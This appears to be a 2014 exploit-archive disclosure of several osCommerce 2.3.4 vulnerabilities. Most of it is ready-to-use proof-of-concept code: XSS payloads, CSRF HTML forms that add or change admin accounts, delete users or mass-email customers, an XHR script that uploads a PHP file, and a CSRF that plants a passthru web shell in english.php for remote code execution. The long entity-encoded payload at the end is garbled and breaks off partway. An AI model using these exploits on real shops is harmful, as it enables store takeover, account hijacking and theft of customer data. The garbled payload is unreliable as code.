osCommerce 2.3.4 - Multiple vulnerabilities

2014.07.11
Credit: Smash_
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#Title: osCommerce 2.3.4 - Multiple vulnerabilities #Date: 10.07.14 #Affected versions: => 2.3.4 (latest atm) #Vendor: oscommerce.com #Tested on: Apache 2.2.22 [at] Debian #Contact: smash [at] devilteam.pl #Cross Site Scripting 1. Reflected XSS -> Send Email Vulnerable parameters - customers_email_address & mail_sent_to a) POST Request: POST /osc/oscommerce-2.3.4/catalog/admin/mail.php?action=preview HTTP/1.1 Host: localhost customers_email_address=<script>alert(666)</script>&from=fuck@shit.up&subject=test&message=test Response: HTTP/1.1 200 OK (...) <td class="smallText"><strong>Customer:</strong><br /><script>alert(666)</script></td> </tr> (...) CSRF PoC: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/mail.php?action=preview" method="POST"> <input type="hidden" name="customers&#95;email&#95;address" value="&lt;script&gt;alert&#40;666&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="from" value="fuck&#64;shit&#46;up" /> <input type="hidden" name="subject" value="test" /> <input type="hidden" name="message" value="test" /> <input type="submit" value="Go" /> </form> </body> </html> b) GET Request: GET /osc/oscommerce-2.3.4/catalog/admin/mail.php?mail_sent_to=%3Cscript%3Ealert(666)%3C/script%3E HTTP/1.1 Host: localhost Response: (...) <td class="messageStackSuccess"><img src="images/icons/success.gif" border="0" alt="Success" title="Success" />&nbsp;Notice: Email sent to: <script>alert(666)</script></td> </tr> (...) 2. Persistent XSS via CSRF -> Newsletter Request: POST /osc/oscommerce-2.3.4/catalog/admin/newsletters.php?action=insert HTTP/1.1 Host: localhost module=newsletter&title=<script>alert(123)</script>&content=<script>alert(456)</script> CSRF PoC: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?action=insert" method="POST"> <input type="hidden" name="module" value="newsletter" /> <input type="hidden" name="title" value="&lt;script&gt;alert&#40;123&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="content" value="&lt;script&gt;alert&#40;456&#41;&lt;&#47;script&gt;" /> <input type="submit" value="Go" /> </form> </body> </html> First popbox (123) will be executed whenever someone will visit newsletters page: localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php (...) <td class="dataTableContent"><a href="http://localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?page=1&nID=2&action=preview"><img src="images/icons/preview.gif" border="0" alt="Preview" title="Preview" /></a>&nbsp;<script>alert(123)</script></td> (...) <tr class="infoBoxHeading"> <td class="infoBoxHeading"><strong><script>alert(123)</script></strong></td> </tr> (...) Second one, will be executed whenever someone will visit specific newsletter page: localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?page=1&nID=1&action=preview (...) <tr> <td><tt><script>alert(456)</script></tt></td> </tr> <tr> (...) 3. Persistent XSS via CSRF -> Banner manager Vulnerable parameter - banners_title PoC: <html> <body> <script> function go() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/osc/oscommerce-2.3.4/catalog/admin/banner_manager.php?action=insert", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19390593192018454503847724432"); xhr.withCredentials = true; var body = "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"banners_title\"\r\n" + "\r\n" + "\x3cscript\x3ealert(666)\x3c/script\x3e\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"banners_url\"\r\n" + "\r\n" + "url\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"banners_group\"\r\n" + "\r\n" + "footer\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"new_banners_group\"\r\n" + "\r\n" + "group\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"banners_image\"; filename=\"info.gif\"\r\n" + "Content-Type: application/x-php\r\n" + "\r\n" + "\x3c?php\n" + "phpinfo();\n" + "?\x3e\n" + "\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"banners_image_local\"\r\n" + "\r\n" + "\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"banners_image_target\"\r\n" + "\r\n" + "\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"banners_html_text\"\r\n" + "\r\n" + "sup\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"date_scheduled\"\r\n" + "\r\n" + "2014-07-01\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"expires_date\"\r\n" + "\r\n" + "2014-07-31\r\n" + "-----------------------------19390593192018454503847724432\r\n" + "Content-Disposition: form-data; name=\"expires_impressions\"\r\n" + "\r\n" + "\r\n" + "-----------------------------19390593192018454503847724432--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Go" onclick="go();" /> </form> </body> </html> JS will be executed whenever someone will visitd banner manager page or specific banner page. localhost/osc/oscommerce-2.3.4/catalog/admin/banner_manager.php localhost/osc/oscommerce-2.3.4/catalog/admin/banner_manager.php?page=1&bID=[ID] Response: <td class="dataTableContent"><a href="javascript:popupImageWindow('popup_image.php?banner=3')"><img src="images/icon_popup.gif" border="0" alt="View Banner" title="View Banner" /></a>&nbsp;<script>alert(666)</script></td> <td class="dataTableContent" align="right">group</td> 4. Persistent XSS via CSRF -> Locations / Taxes Countries tab is taken as example, but same vulnerability affects other tabs in 'Locations / Taxes', namely Tax Classes, Tax Rates, Tax Zones and Zones. PoC: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php?page=1&action=insert" method="POST"> <input type="hidden" name="countries&#95;name" value="AAAA&lt;script&gt;alert&#40;666&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="countries&#95;iso&#95;code&#95;2" value="xs" /> <input type="hidden" name="countries&#95;iso&#95;code&#95;3" value="sed" /> <input type="hidden" name="address&#95;format&#95;id" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> JS will be executed whenever someone will visitd 'countries' tab: localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php Response: (...) <tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php?page=1&cID=241&action=edit'"> <td class="dataTableContent">AAAA<script>alert(666)</script></td> <td class="dataTableContent" align="center" width="40">xs</td> <td class="dataTableContent" align="center" width="40">sed</td> (...) 5. Persistent XSS via CSRF -> Localization a) Currencies PoC: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php?page=1&action=insert" method="POST"> <input type="hidden" name="cs" value="" /> <input type="hidden" name="title" value="&lt;script&gt;alert&#40;666&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="code" value="666" /> <input type="hidden" name="symbol&#95;left" value="hm" /> <input type="hidden" name="symbol&#95;right" value="mh" /> <input type="hidden" name="decimal&#95;point" value="10" /> <input type="hidden" name="thousands&#95;point" value="100" /> <input type="hidden" name="decimal&#95;places" value="10000" /> <input type="hidden" name="value" value="666&quot;&gt;&lt;script&gt;alert&#40;123&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="default" value="on" /> <input type="submit" value="Submit request" /> </form> </body> </html> JS will be executed whenever someone will visit currencies tab: localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php Response: (...) <tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php?page=1&cID=3&action=edit'"> <td class="dataTableContent"><strong><script>alert(666)</script> (default)</strong></td> <td class="dataTableContent">666</td> <td class="dataTableContent" align="right">666.00000000</td> (...) b) Languages PoC: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/languages.php?action=insert" method="POST"> <input type="hidden" name="name" value="&quot;&gt;&lt;script&gt;alert&#40;666&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="code" value="h3ll" /> <input type="hidden" name="image" value="icon&#46;gif" /> <input type="hidden" name="directory" value="asdf" /> <input type="hidden" name="sort&#95;order" value="asdf" /> <input type="hidden" name="default" value="on" /> <input type="submit" value="Submit request" /> </form> </body> </html> JS will be executed whenever someone will visit langauges tab: localhost/osc/oscommerce-2.3.4/catalog/admin/languages.php Response: (...) <tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://localhost/osc/oscommerce-2.3.4/catalog/admin/languages.php?page=1&lID=2&action=edit'"> <td class="dataTableContent"><script>alert(666)</script></td> <td class="dataTableContent">66</td> (...) c) Orders status Request: POST /osc/oscommerce-2.3.4/catalog/admin/orders_status.php?page=1&action=insert HTTP/1.1 Host: localhost orders_status_name%5B2%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B3%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B4%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B5%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B6%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B7%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B1%5D=%27%3E%22%3E%3C%3EXSS Response: (...) <td class="dataTableContent">'>"><>XSS</td> (...) <td class="infoBoxHeading"><strong>'>"><>XSS</strong></td> (...) <td class="infoBoxContent"><br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif" border="0" alt="<script>alert(666)</script>" title="<script>alert(666)</script>" />&nbsp;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif" border="0" alt="&quot;><script>alert(666)</script>" title="&quot;><script>alert(666)</script>" />&nbsp;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf'>&quot;><>XSS/images/icon.gif'>&quot;><>XSS" border="0" alt="&quot;><script>alert(666)</script>" title="&quot;><script>alert(666)</script>" />&nbsp;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif'>&quot;><>XSS" border="0" alt="&quot;><script>alert(666)</script>" title="&quot;><script>alert(666)</script>" />&nbsp;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif" border="0" alt="&quot;><script>alert(666)</script>" title="&quot;><script>alert(666)</script>" />&nbsp;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/asdf/images/icon.gif'>&quot;><>XSS" border="0" alt="&quot;><script>alert(666)</script>" title="&quot;><script>alert(666)</script>" />&nbsp;'>"><>XSS<br /><img src="http://localhost/osc/oscommerce-2.3.4/catalog/includes/languages/english/images/icon.gif" border="0" alt="English" title="English" />&nbsp;'>"><>XSS</td> </tr> #Boring CSRF - Remove any item from cart localhost/osc/oscommerce-2.3.4/catalog/shopping_cart.php?products_id=[ID]&action=remove_product - Add item to cart localhost/osc/oscommerce-2.3.4/catalog/product_info.php?products_id=[ID]&action=add_product - Remove address book entry localhost/osc/oscommerce-2.3.4/catalog/address_book_process.php?delete=1 - Remove specific country localhost/osc/oscommerce-2.3.4/catalog/admin/countries.php?page=1&cID=1&action=deleteconfirm - Remove specific currency localhost/osc/oscommerce-2.3.4/catalog/admin/currencies.php?page=1&cID=[ID]&action=deleteconfirm - Change store credentials I'm to bored to craft another request's, whole 'Configuration' & 'Catalog' panel suffers on CSRF. localhost/osc/oscommerce-2.3.4/catalog/admin/configuration.php ...and a lot more. #Less boring CSRF - Send email as admin -> Send email It is able to send email to specific user, newsletter subscribers and all of them. In this case, '***' stands for sending mail to all customers. <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/mail.php?action=send_email_to_user" method="POST"> <input type="hidden" name="customers&#95;email&#95;address" value="&#42;&#42;&#42;" /> <input type="hidden" name="from" value="&quot;storeowner&quot;&#32;&lt;storemail&#64;lol&#46;lo&gt;" /> <input type="hidden" name="subject" value="subject" /> <input type="hidden" name="message" value="sup" /> <input type="submit" value="Go" /> </form> </body> </html> - Delete / Edit specific user Remove user PoC: localhost/osc/oscommerce-2.3.4/catalog/admin/customers.php?page=1&cID=1&action=deleteconfirm Edit user PoC: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/customers.php?page=1&cID=1&action=update" method="POST"> <input type="hidden" name="default&#95;address&#95;id" value="1" /> <input type="hidden" name="customers&#95;gender" value="m" /> <input type="hidden" name="customers&#95;firstname" value="juster" /> <input type="hidden" name="customers&#95;lastname" value="testing" /> <input type="hidden" name="customers&#95;dob" value="07&#47;13&#47;2004" /> <input type="hidden" name="customers&#95;email&#95;address" value="szit&#64;szit&#46;szit" /> <input type="hidden" name="entry&#95;company" value="asdf" /> <input type="hidden" name="entry&#95;street&#95;address" value="asdfasdf" /> <input type="hidden" name="entry&#95;suburb" value="asdfsdff" /> <input type="hidden" name="entry&#95;postcode" value="66&#45;666" /> <input type="hidden" name="entry&#95;city" value="asdfasdf" /> <input type="hidden" name="entry&#95;state" value="asdfasdfasdf" /> <input type="hidden" name="entry&#95;country&#95;id" value="5" /> <input type="hidden" name="customers&#95;telephone" value="123456792" /> <input type="hidden" name="customers&#95;fax" value="" /> <input type="hidden" name="customers&#95;newsletter" value="1" /> <input type="submit" value="Go" /> </form> </body> </html> - Add / Edit / Delete admin Add admin account: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/administrators.php?action=insert" method="POST"> <input type="hidden" name="username" value="haxor" /> <input type="hidden" name="password" value="pwned" /> <input type="submit" value="Submit request" /> </form> </body> </html> Change admin (set new password): <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/administrators.php?aID=1&action=save" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="newpass" /> <input type="submit" value="Submit request" /> </form> </body> </html> Remove admin: localhost/osc/oscommerce-2.3.4/catalog/admin/administrators.php?aID=2&action=deleteconfirm - RCE via CSRF -> Define Languages It is able to change content of specific file in 'define languages' tab, we're gonna use default english language, and so default files path. File MUST be writable. Value stands for english.php default content; as you can notice, passthru function is being included. localhost/osc/oscommerce-2.3.4/catalog/includes/languages/english.php?cmd=uname -a PoC: <html> <body> <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/define_language.php?lngdir=english&filename=english.php&action=save" method="POST"> <input type="hidden" name="file&#95;contents" value="&lt;&#63;php&#13;&#10;&#47;&#42;&#13;&#10;&#32;&#32;&#36;Id&#36;&#13;&#10;&#13;&#10;&#32;&#32;osCommerce&#44;&#32;Open&#32;Source&#32;E&#45;Commerce&#32;Solutions&#13;&#10;&#32;&#32;http&#58;&#47;&#47;www&#46;oscommerce&#46;com&#13;&#10;&#13;&#10;&#32;&#32;Copyright&#32;&#40;c&#41;&#32;2013&#32;osCommerce&#13;&#10;&#13;&#10;&#32;&#32;Released&#32;under&#32;the&#32;GNU&#32;General&#32;Public&#32;License&#13;&#10;&#42;&#47;&#13;&#10;&#13;&#10;&#47;&#47;&#32;look&#32;in&#32;your&#32;&#36;PATH&#95;LOCALE&#47;locale&#32;directory&#32;for&#32;available&#32;locales&#13;&#10;&#47;&#47;&#32;or&#32;type&#32;locale&#32;&#45;a&#32;on&#32;the&#32;server&#46 ;&#13;&#10;&#47;&#47;&#32;Examples&#58;&#13;&#10;&#47;&#47;&#32;on&#32;RedHat&#32;try&#32;&apos;en&#95;US&apos;&#13;&#10;&#47;&#47;&#32;on&#32;FreeBSD&#32;try&#32;&apos;en&#95;US&#46;ISO&#95;8859&#45;1&apos;&#13;&#10;&#47;&#47;&#32;on&#32;Windows&#32;try&#32;&apos;en&apos;&#44;&#32;or&#32;&apos;English&apos;&#13;&#10;&#64;setlocale&#40;LC&#95;ALL&#44;&#32;array&#40;&apos;en&#95;US&#46;UTF&#45;8&apos;&#44;&#32;&apos;en&#95;US&#46;UTF8&apos;&#44;&#32;&apos;enu&#95;usa&apos;&#41;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;DATE&#95;FORMAT&#95;SHORT&apos;&#44;&#32;&apos;&#37;m&#47;&#37;d&#47;&#37;Y&apos;&#41;&#59;&#32;&#32;&#47;&# 47;&#32;this&#32;is&#32;used&#32;for&#32;strftime&#40;&#41;&#13;&#10;define&#40;&apos;DATE&#95;FORMAT&#95;LONG&apos;&#44;&#32;&apos;&#37;A&#32;&#37;d&#32;&#37;B&#44;&#32;&#37;Y&apos;&#41;&#59;&#32;&#47;&#47;&#32;this&#32;is&#32;used&#32;for&#32;strftime&#40;&#41;&#13;&#10;define&#40;&apos;DATE&#95;FORMAT&apos;&#44;&#32;&apos;m&#47;d&#47;Y&apos;&#41;&#59;&#32;&#47;&#47;&#32;this&#32;is&#32;used&#32;for&#32;date&#40;&#41;&#13;&#10;define&#40;&apos;DATE&#95;TIME&#95;FORMAT&apos;&#44;&#32;DATE&#95;FORMAT&#95;SHORT&#32;&#46;&#32;&apos;&#32;&#37;H&#58;&#37;M&#58;&#37;S&apos;&#41;&#59;&#13;&#10;define&#40;&apos;JQUERY&#95;DATEPICKER&#95;I18N&#95;CODE& amp; amp;apos;&#44;&#32;&apos;&apos;&#41;&#59;&#32;&#47;&#47;&#32;leave&#32;empty&#32;for&#32;en&#95;US&#59;&#32;see&#32;http&#58;&#47;&#47;jqueryui&#46;com&#47;demos&#47;datepicker&#47;&#35;localization&#13;&#10;define&#40;&apos;JQUERY&#95;DATEPICKER&#95;FORMAT&apos;&#44;&#32;&apos;mm&#47;dd&#47;yy&apos;&#41;&#59;&#32;&#47;&#47;&#32;see&#32;http&#58;&#47;&#47;docs&#46;jquery&#46;com&#47;UI&#47;Datepicker&#47;formatDate&#13;&#10;&#13;&#10;&#64;passthru&#40;&#36;&#95;GET&#91;&apos;cmd&apos;&#93;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#47;&#47;&#13;&#10;&#47;&#47;&#32;Return&#32;date&#32;in&#32;raw&#32;format&#13;&#10;&#47;&#47;&#32;&#36;date&#32;should& #32;be&#32;in&#32;format&#32;mm&#47;dd&#47;yyyy&#13;&#10;&#47;&#47;&#32;raw&#32;date&#32;is&#32;in&#32;format&#32;YYYYMMDD&#44;&#32;or&#32;DDMMYYYY&#13;&#10;function&#32;tep&#95;date&#95;raw&#40;&#36;date&#44;&#32;&#36;reverse&#32;&#61;&#32;false&#41;&#32;&#123;&#13;&#10;&#32;&#32;if&#32;&#40;&#36;reverse&#41;&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;return&#32;substr&#40;&#36;date&#44;&#32;3&#44;&#32;2&#41;&#32;&#46;&#32;substr&#40;&#36;date&#44;&#32;0&#44;&#32;2&#41;&#32;&#46;&#32;substr&#40;&#36;date&#44;&#32;6&#44;&#32;4&#41;&#59;&#13;&#10;&#32;&#32;&#125;&#32;else&#32;&#123;&#13;&#10;&#32;&#32;&#32;&#32;return&#32;substr&#40;&#3 6;date&#44;&#32;6&#44;&#32;4&#41;&#32;&#46;&#32;substr&#40;&#36;date&#44;&#32;0&#44;&#32;2&#41;&#32;&#46;&#32;substr&#40;&#36;date&#44;&#32;3&#44;&#32;2&#41;&#59;&#13;&#10;&#32;&#32;&#125;&#13;&#10;&#125;&#13;&#10;&#13;&#10;&#47;&#47;&#32;if&#32;USE&#95;DEFAULT&#95;LANGUAGE&#95;CURRENCY&#32;is&#32;true&#44;&#32;use&#32;the&#32;following&#32;currency&#44;&#32;instead&#32;of&#32;the&#32;applications&#32;default&#32;currency&#32;&#40;used&#32;when&#32;changing&#32;language&#41;&#13;&#10;define&#40;&apos;LANGUAGE&#95;CURRENCY&apos;&#44;&#32;&apos;USD&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;Global&#32;entries&#32;for&#32;the&#32;&lt;html&gt;&#32;t ag&#13;&#10;define&#40;&apos;HTML&#95;PARAMS&apos;&#44;&#32;&apos;dir&#61;&quot;ltr&quot;&#32;lang&#61;&quot;en&quot;&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;charset&#32;for&#32;web&#32;pages&#32;and&#32;emails&#13;&#10;define&#40;&apos;CHARSET&apos;&#44;&#32;&apos;utf&#45;8&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;page&#32;title&#13;&#10;define&#40;&apos;TITLE&apos;&#44;&#32;STORE&#95;NAME&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;header&#32;text&#32;in&#32;includes&#47;header&#46;php&#13;&#10;define&#40;&apos;HEADER&#95;TITLE&#95;CREATE&#95;ACCOUNT&apos;&#44;&#32;&apos;Create&#32;an&#32;Account&apos;&#41;&#59;&#13;&#10;define&amp ; ;#40;&apos;HEADER&#95;TITLE&#95;MY&#95;ACCOUNT&apos;&#44;&#32;&apos;My&#32;Account&apos;&#41;&#59;&#13;&#10;define&#40;&apos;HEADER&#95;TITLE&#95;CART&#95;CONTENTS&apos;&#44;&#32;&apos;Cart&#32;Contents&apos;&#41;&#59;&#13;&#10;define&#40;&apos;HEADER&#95;TITLE&#95;CHECKOUT&apos;&#44;&#32;&apos;Checkout&apos;&#41;&#59;&#13;&#10;define&#40;&apos;HEADER&#95;TITLE&#95;TOP&apos;&#44;&#32;&apos;Top&apos;&#41;&#59;&#13;&#10;define&#40;&apos;HEADER&#95;TITLE&#95;CATALOG&apos;&#44;&#32;&apos;Catalog&apos;&#41;&#59;&#13;&#10;define&#40;&apos;HEADER&#95;TITLE&#95;LOGOFF&apos;&#44;&#32;&apos;Log&#32;Off&apos;&#41;&#59;&#13;&#10;define&#40;&apos;HEADER&#95;TITLE&#95;LOGIN&apos;&a mp;a mp;#44;&#32;&apos;Log&#32;In&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;footer&#32;text&#32;in&#32;includes&#47;footer&#46;php&#13;&#10;define&#40;&apos;FOOTER&#95;TEXT&#95;REQUESTS&#95;SINCE&apos;&#44;&#32;&apos;requests&#32;since&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;text&#32;for&#32;gender&#13;&#10;define&#40;&apos;MALE&apos;&#44;&#32;&apos;Male&apos;&#41;&#59;&#13;&#10;define&#40;&apos;FEMALE&apos;&#44;&#32;&apos;Female&apos;&#41;&#59;&#13;&#10;define&#40;&apos;MALE&#95;ADDRESS&apos;&#44;&#32;&apos;Mr&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;FEMALE&#95;ADDRESS&apos;&#44;&#32;&apos;Ms&#46;&apos;&#41;&#59;&#13;&#10;&# 13;&#10;&#47;&#47;&#32;text&#32;for&#32;date&#32;of&#32;birth&#32;example&#13;&#10;define&#40;&apos;DOB&#95;FORMAT&#95;STRING&apos;&#44;&#32;&apos;mm&#47;dd&#47;yyyy&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;checkout&#32;procedure&#32;text&#13;&#10;define&#40;&apos;CHECKOUT&#95;BAR&#95;DELIVERY&apos;&#44;&#32;&apos;Delivery&#32;Information&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CHECKOUT&#95;BAR&#95;PAYMENT&apos;&#44;&#32;&apos;Payment&#32;Information&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CHECKOUT&#95;BAR&#95;CONFIRMATION&apos;&#44;&#32;&apos;Confirmation&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CHECKOUT&#95;BAR&#95;FINISHED&apos;&#44;&#32;&apos;Finished&#33;&a mp;a mp;apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;pull&#32;down&#32;default&#32;text&#13;&#10;define&#40;&apos;PULL&#95;DOWN&#95;DEFAULT&apos;&#44;&#32;&apos;Please&#32;Select&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TYPE&#95;BELOW&apos;&#44;&#32;&apos;Type&#32;Below&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;javascript&#32;messages&#13;&#10;define&#40;&apos;JS&#95;ERROR&apos;&#44;&#32;&apos;Errors&#32;have&#32;occured&#32;during&#32;the&#32;process&#32;of&#32;your&#32;form&#46;&#92;n&#92;nPlease&#32;make&#32;the&#32;following&#32;corrections&#58;&#92;n&#92;n&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;JS&#95;REVIEW&#95;TEXT&apos;&#44;&#32;& apos;&#42;&#32;The&#32;&#92;&apos;Review&#32;Text&#92;&apos;&#32;must&#32;have&#32;at&#32;least&#32;&apos;&#32;&#46;&#32;REVIEW&#95;TEXT&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&#92;n&apos;&#41;&#59;&#13;&#10;define&#40;&apos;JS&#95;REVIEW&#95;RATING&apos;&#44;&#32;&apos;&#42;&#32;You&#32;must&#32;rate&#32;the&#32;product&#32;for&#32;your&#32;review&#46;&#92;n&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;JS&#95;ERROR&#95;NO&#95;PAYMENT&#95;MODULE&#95;SELECTED&apos;&#44;&#32;&apos;&#42;&#32;Please&#32;select&#32;a&#32;payment&#32;method&#32;for&#32;your&#32;order&#46;&#92;n&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;JS&#95 ;ERROR&#95;SUBMITTED&apos;&#44;&#32;&apos;This&#32;form&#32;has&#32;already&#32;been&#32;submitted&#46;&#32;Please&#32;press&#32;Ok&#32;and&#32;wait&#32;for&#32;this&#32;process&#32;to&#32;be&#32;completed&#46;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;ERROR&#95;NO&#95;PAYMENT&#95;MODULE&#95;SELECTED&apos;&#44;&#32;&apos;Please&#32;select&#32;a&#32;payment&#32;method&#32;for&#32;your&#32;order&#46;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;CATEGORY&#95;COMPANY&apos;&#44;&#32;&apos;Company&#32;Details&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CATEGORY&#95;PERSONAL&apos;&#44;&#32;&apos;Your&#32;Personal&#32;Details&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CATEG ORY&#95;ADDRESS&apos;&#44;&#32;&apos;Your&#32;Address&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CATEGORY&#95;CONTACT&apos;&#44;&#32;&apos;Your&#32;Contact&#32;Information&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CATEGORY&#95;OPTIONS&apos;&#44;&#32;&apos;Options&apos;&#41;&#59;&#13;&#10;define&#40;&apos;CATEGORY&#95;PASSWORD&apos;&#44;&#32;&apos;Your&#32;Password&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;ENTRY&#95;COMPANY&apos;&#44;&#32;&apos;Company&#32;Name&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;COMPANY&#95;TEXT&apos;&#44;&#32;&apos;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;GENDER&apos;&#44;&#32;&apos;Gender&#58;&apos;& #41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;GENDER&#95;ERROR&apos;&#44;&#32;&apos;Please&#32;select&#32;your&#32;Gender&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;GENDER&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;FIRST&#95;NAME&apos;&#44;&#32;&apos;First&#32;Name&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;FIRST&#95;NAME&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;First&#32;Name&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;FIRST&#95;NAME&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;FIRST&#9 5;NAME&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;LAST&#95;NAME&apos;&#44;&#32;&apos;Last&#32;Name&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;LAST&#95;NAME&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;Last&#32;Name&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;LAST&#95;NAME&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;LAST&#95;NAME&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;DATE&#95;OF&#95;BIRTH&apos;&#44;&#32;&apos;Date&#32;of&#32;Birth&#58;&apos;&#41;&a mp;a 